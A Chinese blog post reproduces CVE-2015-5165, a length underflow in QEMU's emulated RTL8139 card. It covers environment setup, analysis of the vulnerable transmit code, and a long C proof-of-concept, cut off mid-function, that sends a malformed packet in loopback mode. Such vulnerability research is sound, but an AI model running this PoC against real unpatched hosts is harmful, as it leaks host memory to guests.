参考大佬们的文章复现CVE-2015-5165。

环境搭建

宿主机环境 Ubuntu 20.10

QEMU编译

QEMU commit-bd80b59源码下载。

1
2
3
4
5
6
$ unzip qemu.zip
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ sudo apt-get install zlib1g-dev libglib2.0-dev libpixman-1-dev
$ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
$ make

如果出现以下错误,给文件 commands-posix.c 增加头文件 <sys/sysmacros.h> 即可解决。

1
2
3
/usr/bin/ld: qga/commands-posix.o: in function `dev_major_minor':
/repo/qemu/qga/commands-posix.c:640: undefined reference to `major'
/usr/bin/ld: /repo/qemu/qga/commands-posix.c:641: undefined reference to `minor'

制作QEMU虚拟机

这里我使用的Ubuntu 16.04 Server i386作为QEMU客户机系统。点击下载

还需要下载安装VNC-Viewer,稍后会用到。链接

1
2
3
4
5
6
$ ./qemu-img create -f qcow2 ~/tmp/vm/ubuntu.img 10G
$ sudo dpkg -i VNC-Viewer-6.20.529-Linux-x64.deb
$ x86_64-softmmu/qemu-system-x86_64 -boot d -cdrom \  # 能用嵌套虚拟就用(添加--enable-kvm)
~/tmp/iso/ubuntu-16.04.6-server-i386.iso \
-hda ~/tmp/vm/ubuntu.img -m 1024
$ vncviewer host:port  # 连接上,安装就好

(尽量使用–enable-kvm,否则卡的受不了,安装系统安了四五个小时。。。)

前置知识

网络

因为涉及到了网卡,而且产生漏洞是数据包长度溢出所导致,所以需要了解一定的网络知识,可以看下面来复习一下。

OSI(Open Systems Interconnection)将网络协议分为7层,从上往下依次是:

  • 应用层
  • 表示层
  • 会话层
  • 传输层
  • 网络层
  • 数据链路层
  • 物理层

而现实中使用的TCP/IP协议是5层的,依次是:

  1. 应用层,是网络应用程序及其应用层协议存留的地方。因特网的应用层包括许多协议,常见的有HTTP(它为web文档提供了请求和传送)、SMTP(它提供了电子邮件报文的传输)和FTP(它提供了两个端系统之间的文件传送)。

  2. 传输层,负责为信源和信宿提供应用程序进程(包括同一终端上的不同进程)间的数据传输服务,这一层上主要定义了两个传输协议,传输控制协议即TCP和用户数据报协议UDP。

  3. 网络层,负责将数据报独立地从信源发送到信宿,主要解决路由选择、拥塞控制和网络互联等问题。

  4. 数据链路层,负责将IP数据报封装成合适在物理网络上传输的帧格式并传输,或将从物理网络接收到的帧解封,取出IP数据报交给网络层。

  5. 物理层,负责将比特流在结点间传输,即负责物理传输。该层的协议既与链路有关也与传输介质有关。

TCPIP

IP数据包(IPv4)头部长度为20-60字节,TCP报文头部长度也是20-60字节。

以太网帧

在以太网链路上的数据包称作以太帧。以太帧起始部分由前导码和帧开始符组成。后面紧跟着一个以太网报头,以MAC地址说明目的地址和源地址。帧的中部是该帧负载的包含其他协议报头的数据包(例如IP协议)。以太帧由一个32位冗余校验码结尾。它用于检验数据传输是否出现损坏。

EthernetFrame

字段 含义
前同步码 用来使接收端的适配器在接收 MAC 帧时能够迅速调整时钟频率,使它和发送端的频率相同。前同步码为 7 个字节,1 和 0 交替。
帧开始定界符 帧的起始符,为 1 个字节。前 6 位 1 和 0 交替,最后的两个连续的 1 表示告诉接收端适配器:“帧信息要来了,准备接收”。
目的地址 接收帧的网络适配器的物理地址(MAC 地址),为 6 个字节(48 比特)。作用是当网卡接收到一个数据帧时,首先会检查该帧的目的地址,是否与当前适配器的物理地址相同,如果相同,就会进一步处理;如果不同,则直接丢弃。
源地址 发送帧的网络适配器的物理地址(MAC 地址),为 6 个字节(48 比特)。
类型 上层协议的类型。由于上层协议众多,所以在处理数据的时候必须设置该字段,标识数据交付哪个协议处理。例如,字段为 0x0800 时,表示将数据交付给 IP 协议。
数据 也称为效载荷,表示交付给上层的数据。以太网帧数据长度最小为 46 字节,最大为 1500 字节。如果不足 46 字节时,会填充到最小长度。最大值也叫最大传输单元(MTU)。 在 Linux 中,使用 ifconfig 命令可以查看该值,通常为 1500。
帧检验序列 FCS 检测该帧是否出现差错,占 4 个字节(32 比特)。发送方计算帧的循环冗余码校验(CRC)值,把这个值写到帧里。接收方计算机重新计算 CRC,与 FCS 字段的值进行比较。如果两个值不相同,则表示传输过程中发生了数据丢失或改变。这时,就需要重新传输这一帧。

IP数据报

ipdata

字段 含义
版本号 占用4位二进制数,表示该IP数据报使用的IP协议版本。目前Internet中使用的主要是TCP/IP协议族中版本号为4的IP协议。
首部长度 占用4位二进制位,此域指出整个报头的长度(包括选项),该长度是以32位二进制数为一个计数单位的,接收端通过此域可以计算出报头在何处结束及从何处开始读数据。普通IP数据报(没有任何选项)该字段的值是5(即20个字节的长度)。
服务类型(TOS, Type Of Service) 占用8位二进制位,用于规定本数据报的处理方式。
总长度 占用16位二进制位,总长度字段是指整个IP数据报的长度(报头区+数据区),以字节为单位。
标识 占16位(第二行四个字节中1~15位),它是一个计数器,用来产生数据报的标识,即每产生一个数据报贴上一个标识。
标志 目前只有前两位有意义。
标志字段的最低位是 MF (More Fragment)。MF = 1 表示后面“还有分片”。MF = 0 表示最后一个分片。
标志字段中间的一位是 DF (Don’t Fragment) 。只有当 DF = 0 时才允许分片。
片偏移 较长的分组在分片后某片在原分组中的相对位置。片偏移以 8 个字节为偏移单位。
TTL Time To Live,该字段指定IP包被路由器丢弃之前允许通过的最大网段数量。

RTL8139

RTL8139被用在许多古老或者廉价的设备中,支持10/100MBit。支持的速率较慢,但由于它的简洁性,如今它广泛被用在虚拟化环境中。这也使得它的驱动程序比较简单,所以通常是OS开发爱好者们的第一个设备。它支持两种接收发送(Receive/Transmit)模式:C mode和C+ mode。vender ID: 0x10EC,device ID: 0x8139。

QEMU中模拟的RTL8139,对应的结构为RTL8139State(位于文件hw/net/rtl8139.c:435)。

RTL8139State结构体中许多的字段就是RTL8139网卡内部的寄存器,关于这些寄存器的描述,可以参考厂商Realtek提供的Datesheet。下图为RTL8139在C+模式下寄存器的介绍:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
        +---------------------------+----------------------------+
0x00    |           MAC0            |            MAR0            |
        +---------------------------+----------------------------+
0x10    |                       TxStatus0                        |
        +--------------------------------------------------------+
0x20    |                        TxAddr0                         |
        +-------------------+-------+----------------------------+
0x30    |        RxBuf      |ChipCmd|                            |
        +-------------+------+------+----------------------------+
0x40    |   TxConfig  |  RxConfig   |            ...             |
        +-------------+-------------+----------------------------+
        |                                                        |
        |             skipping irrelevant registers              |
        |                                                        |
        +---------------------------+--+------+------------------+
0xd0    |           ...             |  |TxPoll|      ...         |
        +-------+------+------------+--+------+--+---------------+
0xe0    | CpCmd |  ... |RxRingAddrLO|RxRingAddrHI|    ...        |
        +-------+------+------------+------------+---------------+
  • TxConfig:发送数据相关的配置参数
  • RxConfig:接收数据相关的配置参数
  • CpCmd:C+ 模式相关配置参数,比如:
    • CplusRxEnd 表示启用接收
    • CplusTxEnd 表示启用发送
  • TxAddr0:Tx descriptors table 相关的物理内存地址
    • 0x20 ~ 0x27:Transmit Normal Priority Descriptors Start Address
    • 0x28 ~ 0x2F:Transmit High Priority Descriptors Start Address
  • RxRingAddrLO:Rx descriptors table 物理内存地址低 32 位
  • RxRingAddrHI:Rx descriptors table 物理内存地址高 32 位
  • TxPoll:让网卡检查 Tx descriptors

关于 Descriptor(Tx缓冲区是网卡的发送数据缓冲区,而Rx缓冲区则是接收数据缓冲区。Tx表以及Rx表为一个16字节结构体大小的数组,该表中的Descriptor包含缓冲区的具体位置) 的定义,同样可以参考厂商 Realtek 提供的 Datasheet 手册,下图为 Transmit Descriptor 的定义:

rtl8139_txdescriptor

Phrack的文章[4]中将其定义为(这是为了方便设置的,QEMU中并不存在这个结构):

1
2
3
4
5
6
struct rtl8139_desc {
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo;
    uint32_t buf_hi;
};

漏洞分析

漏洞出现网卡的C+模式中,文件位于hw/net/rtl8139.c:1827中的函数rtl8139_cplus_transmit_one

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static int rtl8139_cplus_transmit_one(RTL8139State *s)
{
    // .......
    /* Now decide if descriptor being processed is holding the last segment of packet */
    if (txdw0 & CP_TX_LS)
    {
        // ...
        uint8_t *saved_buffer  = s->cplus_txbuffer;
        int      saved_size    = s->cplus_txbuffer_offset;
        int      saved_buffer_len = s->cplus_txbuffer_len;

        // ...
        if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
        {
            DPRINTF("+++ C+ mode offloaded task checksum\n");

            /* ip packet header */
            ip_header *ip = NULL;
            int hlen = 0;
            uint8_t  ip_protocol = 0;
            uint16_t ip_data_len = 0;

            uint8_t *eth_payload_data = NULL;
            size_t   eth_payload_len  = 0;
            // 这里saved_buffer其实就是以太网帧
            int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
            if (proto == ETH_P_IP)  // 检查以太网中的Type,即上层协议类型
            {
                DPRINTF("+++ C+ mode has IP packet\n");

                /* not aligned */
                // 跳过以太网帧头,到达IP数据报
                eth_payload_data = saved_buffer + ETH_HLEN;
                eth_payload_len  = saved_size   - ETH_HLEN;

                ip = (ip_header*)eth_payload_data;

                if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
                    DPRINTF("+++ C+ mode packet has bad IP version %d "
                        "expected %d\n", IP_HEADER_VERSION(ip),
                        IP_HEADER_VERSION_4);
                    ip = NULL;
                } else {
                    hlen = IP_HEADER_LENGTH(ip);
                    ip_protocol = ip->ip_p;
                    // vulnerability here
                    // 完全信任了用户所提供的IP数据报的头长度和数据长度
                    // ip_data_len为uint16_t类型
                    // 当be16_to_cpu(ip->ip_len) < hlen时,就会发生溢出
                    // 最大0xFFFF
                    ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
                }
            }
    // ......
}

该函数中,计算IP数据报的数据长度时,没有对总长度ip->ip_len和头长度hlen进行校验,在恶意构造为ip->ip_len < heln时,就会发生溢出。在此函数中的后面,因为长度过长就会使用rtl8139_transfer_frame进行分片发送:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
static int rtl8139_cplus_transmit_one(RTL8139State *s)
{
    // .......
    if ((txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP)
    {
        int large_send_mss = (txdw0 >> 16) & CP_TC_LGSEN_MSS_MASK;

        DPRINTF("+++ C+ mode offloaded task TSO MTU=%d IP data %d "
                "frame data %d specified MSS=%d\n", ETH_MTU,
                ip_data_len, saved_size - ETH_HLEN, large_send_mss);

        int tcp_send_offset = 0;
        int send_count = 0;

        /* maximum IP header length is 60 bytes */
        uint8_t saved_ip_header[60];

        /* save IP header template; data area is used in tcp checksum calculation */
        memcpy(saved_ip_header, eth_payload_data, hlen);

        /* a placeholder for checksum calculation routine in tcp case */
        uint8_t *data_to_checksum     = eth_payload_data + hlen - 12;
        //                    size_t   data_to_checksum_len = eth_payload_len  - hlen + 12;

        /* pointer to TCP header */
        tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);

        int tcp_hlen = TCP_HEADER_DATA_OFFSET(p_tcp_hdr);

        /* ETH_MTU = ip header len + tcp header len + payload */
        // 这里利用了上面计算得出的ip_data_len
        int tcp_data_len = ip_data_len - tcp_hlen;
        int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

        DPRINTF("+++ C+ mode TSO IP data len %d TCP hlen %d TCP "
                "data len %d TCP chunk size %d\n", ip_data_len,
                tcp_hlen, tcp_data_len, tcp_chunk_size);

        /* note the cycle below overwrites IP header data,
                       but restores it from saved_ip_header before sending packet */

        int is_last_frame = 0;

        // 这里利用tcp_data_len进行tcp数据包的分片
        for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)
        {
            uint16_t chunk_size = tcp_chunk_size;

            /* check if this is the last frame */
            if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
            {
                is_last_frame = 1;
                chunk_size = tcp_data_len - tcp_send_offset;
            }

            DPRINTF("+++ C+ mode TSO TCP seqno %08x\n",
                    be32_to_cpu(p_tcp_hdr->th_seq));

            /* add 4 TCP pseudoheader fields */
            /* copy IP source and destination fields */
            memcpy(data_to_checksum, saved_ip_header + 12, 8);

            DPRINTF("+++ C+ mode TSO calculating TCP checksum for "
                    "packet with %d bytes data\n", tcp_hlen +
                    chunk_size);

            if (tcp_send_offset)
            {
                memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
            }

            /* keep PUSH and FIN flags only for the last frame */
            if (!is_last_frame)
            {
                TCP_HEADER_CLEAR_FLAGS(p_tcp_hdr, TCP_FLAG_PUSH|TCP_FLAG_FIN);
            }

            /* recalculate TCP checksum */
            ip_pseudo_header *p_tcpip_hdr = (ip_pseudo_header *)data_to_checksum;
            p_tcpip_hdr->zeros      = 0;
            p_tcpip_hdr->ip_proto   = IP_PROTO_TCP;
            p_tcpip_hdr->ip_payload = cpu_to_be16(tcp_hlen + chunk_size);

            p_tcp_hdr->th_sum = 0;

            int tcp_checksum = ip_checksum(data_to_checksum, tcp_hlen + chunk_size + 12);
            DPRINTF("+++ C+ mode TSO TCP checksum %04x\n",
                    tcp_checksum);

            p_tcp_hdr->th_sum = tcp_checksum;

            /* restore IP header */
            memcpy(eth_payload_data, saved_ip_header, hlen);

            /* set IP data length and recalculate IP checksum */
            ip->ip_len = cpu_to_be16(hlen + tcp_hlen + chunk_size);

            /* increment IP id for subsequent frames */
            ip->ip_id = cpu_to_be16(tcp_send_offset/tcp_chunk_size + be16_to_cpu(ip->ip_id));

            ip->ip_sum = 0;
            ip->ip_sum = ip_checksum(eth_payload_data, hlen);
            DPRINTF("+++ C+ mode TSO IP header len=%d "
                    "checksum=%04x\n", hlen, ip->ip_sum);

            int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
            DPRINTF("+++ C+ mode TSO transferring packet size "
                    "%d\n", tso_send_size);
            // 将分片后的数据使用rtl8139_transfer_frame进行发送
            rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
                                   0, (uint8_t *) dot1q_buffer);

            /* add transferred count to TCP sequence number */
            p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
            ++send_count;
        }

        /* Stop sending this frame */
        saved_size = 0;
    }
    // .......
}

函数rtl8139_transfer_frame。可以看到如果有TxLoopBack标志的话,会调用rtl8139_do_receive发送给自己。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
    int do_interrupt, const uint8_t *dot1q_buf)
{
    // .......
    if (TxLoopBack == (s->TxConfig & TxLoopBack))
    {
        size_t buf2_size;
        uint8_t *buf2;

        if (iov) {
            buf2_size = iov_size(iov, 3);
            buf2 = g_malloc(buf2_size);
            iov_to_buf(iov, 3, 0, buf2, buf2_size);
            buf = buf2;
        }

        DPRINTF("+++ transmit loopback mode\n");
        rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);
        // .......
}

漏洞代码触发

在该设备源码文件下方可以找到设备的TypeInfortl8139_class_init结构体,后者中可以看到引用了pci_rtl8139_realize函数,其中初始化了PMIO和MMIO。通过查看PMIO和MMIO处理函数的调用链,可以发现最终都是调用了以下几个函数:

1
2
3
4
5
6
static uint32_t rtl8139_io_readb(void *opaque, uint8_t addr);
static uint32_t rtl8139_io_readw(void *opaque, uint8_t addr);
static uint32_t rtl8139_io_readl(void *opaque, uint8_t addr);
static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val);
static void rtl8139_io_writew(void *opaque, uint8_t addr, uint32_t val);
static void rtl8139_io_writel(void *opaque, uint8_t addr, uint32_t val);

rtl8139_io_writeb中,if (val & (1 << 6))满足,则会调用rtl8139_cplus_transmit,而其中会调用漏洞函数rtl8139_cplus_transmit_one

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// rtl8139_cplus_transmit_one
if (!rtl8139_transmitter_enabled(s))  // CmdTxEnb
{
    DPRINTF("+++ C+ mode: transmitter disabled\n");
    return 0;
}

if (!rtl8139_cp_transmitter_enabled(s))  // CPlusTxEnb
{
    DPRINTF("+++ C+ mode: C+ transmitter disabled\n");
    return 0 ;
}
if (!(txdw0 & CP_TX_OWN))  // CP_TX_OWN
{
    DPRINTF("C+ Tx mode : descriptor %d is owned by host\n", descriptor);
    return 0 ;
}
if (txdw0 & CP_TX_FS)  // CP_TX_FS
{
    DPRINTF("+++ C+ Tx mode : descriptor %d is first segment "
            "descriptor\n", descriptor);

    /* reset internal buffer offset */
    s->cplus_txbuffer_offset = 0;
}
if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
{
    if (proto == ETH_P_IP);
    if (txdw0 & CP_TX_IPCS);
    if ((txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP);
}

调用链:

rtl8139_io_writeb->rtl8139_cplus_transmit->rtl8139_cplus_transmit_one->rtl8139_transfer_frame->rtl8139_do_receive

Debug

因为没使用kvm,使用的Tiny Code Generator模式执行虚拟机,调试过程中总是接收到SIGUSR1信号,然后中断。在gdbscript中添加以下命令可解。

1
handle SIGUSR1 nostop noprint

PoC

poc.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

// 页面相关
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PAGE_PRESENT (1ULL << 63)
#define PAGE_PFN ((1ULL << 55) - 1)

// RTL8139 PMIO base address
#define PMIO_BASE 0xC000

// Ethernet Frame
// DST(6) + SRC(6) + Length/Type(2) + MTU(1500)
#define RTL8139_BUFFER_SIZE 1514

/* w0 ownership flag */
#define CP_RX_OWN (1<<31)

/* w0 ownership flag */
#define CP_TX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30)
/* first segment of received packet flag */
#define CP_TX_FS (1<<29)
/* last segment of received packet flag */
#define CP_TX_LS (1<<28)
/* large send packet flag */
#define CP_TX_LGSEN (1<<27)
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)

/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18)
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17)
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16)

/* w0 bits 0...15 : buffer size */
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)
/* w1 add tag flag */
#define CP_TX_TAGC (1<<17)
/* w1 bits 0...15 : VLAN tag (big endian) */
#define CP_TX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low  32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */

/* set after transmission */
/* FIFO underrun flag */
#define CP_TX_STATUS_UNF (1<<25)
/* transmit error summary flag, valid if set any of three below */
#define CP_TX_STATUS_TES (1<<23)
/* out-of-window collision flag */
#define CP_TX_STATUS_OWC (1<<22)
/* link failure flag */
#define CP_TX_STATUS_LNKF (1<<21)
/* excessive collisions flag */
#define CP_TX_STATUS_EXC (1<<20)

/* Symbolic offsets to registers. */
enum RTL8139_registers {
    MAC0 = 0,        /* Ethernet hardware address. */
    MAR0 = 8,        /* Multicast filter. */
    TxStatus0 = 0x10,/* Transmit status (Four 32bit registers). C mode only */
                     /* Dump Tally Conter control register(64bit). C+ mode only */
    TxAddr0 = 0x20,  /* Tx descriptors (also four 32bit). */
    RxBuf = 0x30,
    ChipCmd = 0x37,
    RxBufPtr = 0x38,
    RxBufAddr = 0x3A,
    IntrMask = 0x3C,
    IntrStatus = 0x3E,
    TxConfig = 0x40,
    RxConfig = 0x44,
    Timer = 0x48,        /* A general-purpose counter. */
    RxMissed = 0x4C,    /* 24 bits valid, write clears. */
    Cfg9346 = 0x50,
    Config0 = 0x51,
    Config1 = 0x52,
    FlashReg = 0x54,
    MediaStatus = 0x58,
    Config3 = 0x59,
    Config4 = 0x5A,        /* absent on RTL-8139A */
    HltClk = 0x5B,
    MultiIntr = 0x5C,
    PCIRevisionID = 0x5E,
    TxSummary = 0x60, /* TSAD register. Transmit Status of All Descriptors*/
    BasicModeCtrl = 0x62,
    BasicModeStatus = 0x64,
    NWayAdvert = 0x66,
    NWayLPAR = 0x68,
    NWayExpansion = 0x6A,
    /* Undocumented registers, but required for proper operation. */
    FIFOTMS = 0x70,        /* FIFO Control and test. */
    CSCR = 0x74,        /* Chip Status and Configuration Register. */
    PARA78 = 0x78,
    PARA7c = 0x7c,        /* Magic transceiver parameter register. */
    Config5 = 0xD8,        /* absent on RTL-8139A */
    /* C+ mode */
    TxPoll        = 0xD9,    /* Tell chip to check Tx descriptors for work */
    RxMaxSize    = 0xDA, /* Max size of an Rx packet (8169 only) */
    CpCmd        = 0xE0, /* C+ Command register (C+ mode only) */
    IntrMitigate    = 0xE2,    /* rx/tx interrupt mitigation control */
    RxRingAddrLO    = 0xE4, /* 64-bit start addr of Rx ring */
    RxRingAddrHI    = 0xE8, /* 64-bit start addr of Rx ring */
    TxThresh    = 0xEC, /* Early Tx threshold */
};

/* Bits in TxConfig. */
enum tx_config_bits {

        /* Interframe Gap Time. Only TxIFG96 doesn't violate IEEE 802.3 */
        TxIFGShift = 24,
        TxIFG84 = (0 << TxIFGShift),    /* 8.4us / 840ns (10 / 100Mbps) */
        TxIFG88 = (1 << TxIFGShift),    /* 8.8us / 880ns (10 / 100Mbps) */
        TxIFG92 = (2 << TxIFGShift),    /* 9.2us / 920ns (10 / 100Mbps) */
        TxIFG96 = (3 << TxIFGShift),    /* 9.6us / 960ns (10 / 100Mbps) */

    TxLoopBack = (1 << 18) | (1 << 17), /* enable loopback test mode */
    TxCRC = (1 << 16),    /* DISABLE appending CRC to end of Tx packets */
    TxClearAbt = (1 << 0),    /* Clear abort (WO) */
    TxDMAShift = 8,        /* DMA burst value (0-7) is shifted this many bits */
    TxRetryShift = 4,    /* TXRR value (0-15) is shifted this many bits */

    TxVersionMask = 0x7C800000, /* mask out version bits 30-26, 23 */
};

/* Bits in RxConfig. */
enum rx_mode_bits {
    AcceptErr = 0x20,
    AcceptRunt = 0x10,
    AcceptBroadcast = 0x08,
    AcceptMulticast = 0x04,
    AcceptMyPhys = 0x02,
    AcceptAllPhys = 0x01,
};

enum ChipCmdBits {
    CmdReset = 0x10,
    CmdRxEnb = 0x08,
    CmdTxEnb = 0x04,
    RxBufEmpty = 0x01,
};

/* C+ mode */
enum CplusCmdBits {
    CPlusRxVLAN   = 0x0040, /* enable receive VLAN detagging */
    CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
    CPlusRxEnb    = 0x0002,
    CPlusTxEnb    = 0x0001,
};

// big endian
// ethernet frame
uint8_t packet[] = {
    /* 以太网帧 */
    // dst
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
    // src
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
    // 类型(代表IP协议)
    0x08, 0x00,
    
    /* IP数据报 */
    // 版本和首部长度
    (0x4 << 4) | 0x5,
    // TOS
    0x00,
    // 总长度
    0x00, 0x13,
    // 标识
    0xde, 0xad,
    // 标志(3bit)和片偏移(以8为基本单位,也就是相当于把标志的3bit当做0来计算)
    0x40, 0x00,
    // TTL
    0x40,
    // 上层协议,代表TCP
    0x06,
    // 首部校验和
    0xde, 0xad,
    // 源IP
    0x7f, 0x00, 0x00, 0x01,
    // 目的IP
    0x7f, 0x00, 0x00, 0x01,

    /* TCP数据报 */
    // 源端口
    0xde, 0xad,
    // 目的端口
    0xbe, 0xef,
    // Sequence Number
    0x00, 0x00, 0x00, 0x00,
    // Acknowledgement Number
    0x00, 0x00, 0x00, 0x00,
    // 报头长度等
    0x50,
    // 
    0x10,
    // Window size
    0xde, 0xed,
    // TCP checksum
    0xde, 0xad,
    // Urgent pointer
    0x00, 0x00
};

// RTL8139 Rx/Tx descriptor
typedef struct rtl8139_desc {
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo;
    uint32_t buf_hi;
}rtl8139_desc;

// RTL8139 Rx/Tx ring
typedef struct rtl8139_ring {
    struct rtl8139_desc *desc;
    void *buffer;
}rtl8139_ring;

uint64_t gva_to_gpa(void *addr)
{
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
	exit(-1);
    }

    uint64_t pme, gfn;
    size_t offset;
    offset = ((uint64_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PAGE_PRESENT))
        return -1;
    gfn = pme & PAGE_PFN;

    return (gfn << PAGE_SHIFT) | ((uint64_t)addr & ((1 << PAGE_SHIFT) - 1));
}

void pmio_writeb(uint32_t data, uint32_t port)
{
    outb(data, PMIO_BASE+port);
}

void pmio_writew(uint32_t data, uint32_t port)
{
    outw(data, PMIO_BASE+port);
}

void pmio_writel(uint32_t data, uint32_t port)
{
    outl(data, PMIO_BASE+port);
}

uint32_t pmio_readb(uint32_t port)
{
    return (uint32_t)inb(PMIO_BASE+port);
}

uint32_t pmio_readw(uint32_t port)
{
    return (uint32_t)inw(PMIO_BASE+port);
}

uint32_t pmio_readl(uint32_t port)
{
    return (uint32_t)inl(PMIO_BASE+port);
}

void rtl8139_desc_config_rx(rtl8139_ring *ring, rtl8139_desc *desc, size_t nb)
{
    size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
    for (int i = 0; i < nb; ++i) {
        memset(&desc[i], 0, sizeof(desc[i]));
        ring[i].desc = &desc[i];
        ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
        
        memset(ring[i].buffer, 0, buffer_size);

        ring[i].desc->dw0 |= CP_RX_OWN;
        ring[i].desc->dw0 |= buffer_size;
        ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
        // printf("buffer[%d]: 0x%x\n", i, ring[i].desc->buf_lo);  // for debug
    }
    pmio_writel((uint32_t)gva_to_gpa(desc), RxRingAddrLO);
    pmio_writel(0, RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc *desc, void *buffer)
{
    memset(desc, 0, sizeof(rtl8139_desc));
    desc->dw0 |= CP_TX_OWN  |
                 CP_TX_EOR  |
                 CP_TX_LS   |
                 CP_TX_IPCS |
                 CP_TX_TCPCS|
                 CP_TX_LGSEN;
    desc->dw0 |= RTL8139_BUFFER_SIZE;
    desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
    pmio_writel((uint32_t)gva_to_gpa(desc), TxAddr0);
    pmio_writel(0, TxAddr0+4);
}

void rtl8139_card_config()
{
    pmio_writel(TxLoopBack, TxConfig);
    pmio_writel(AcceptMyPhys, RxConfig);
    pmio_writew(CPlusRxEnb|CPlusTxEnb, CpCmd);
    pmio_writeb(CmdRxEnb|CmdTxEnb, ChipCmd);
}

void rtl8139_packet_send(void *buffer, void *packet, size_t len)
{
    if (len <= RTL8139_BUFFER_SIZE) {
        memcpy(buffer, packet, len);
